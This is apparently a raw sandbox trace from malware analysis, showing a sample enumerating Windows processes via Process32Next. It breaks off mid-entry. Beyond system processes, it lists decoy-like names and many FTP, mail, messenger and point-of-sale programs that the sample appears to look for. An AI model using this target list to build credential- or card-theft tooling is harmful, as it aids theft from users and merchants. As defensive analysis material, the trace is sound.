Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.557] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.594] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.597] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.599] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0111.601] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.603] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.605] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0111.607] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0111.609] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0111.611] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.613] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0111.615] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0111.617] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0111.619] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.621] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0111.624] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0111.626] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.628] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0111.630] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0111.632] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.633] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0111.635] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0111.637] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0111.639] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0111.641] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0111.643] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0111.645] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0111.646] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0111.648] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0111.650] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0111.652] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0111.654] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0111.656] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0111.658] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0111.660] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0111.662] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0111.664] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0111.666] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0111.668] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0111.670] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0111.672] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0111.676] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0111.680] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0111.683] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0111.686] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0111.689] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0111.692] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0111.696] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0111.699] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0111.750] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0111.753] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0111.755] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0111.758] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0111.762] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0111.765] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0111.767] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0111.770] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0111.773] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0111.776] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0111.780] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0111.782] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0111.786] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0111.789] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0111.792] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0111.796] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0111.799] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0111.802] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0111.805] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0111.808] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0111.811] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0111.814] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0111.817] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0111.820] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0111.824] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0111.827] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0111.829] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0111.832] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0111.835] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0111.838] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0111.840] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0111.843] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0111.846] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0111.848] Process32Next (in: hSnapshot=0x20d4, lppe=0x100cfe20 | out: 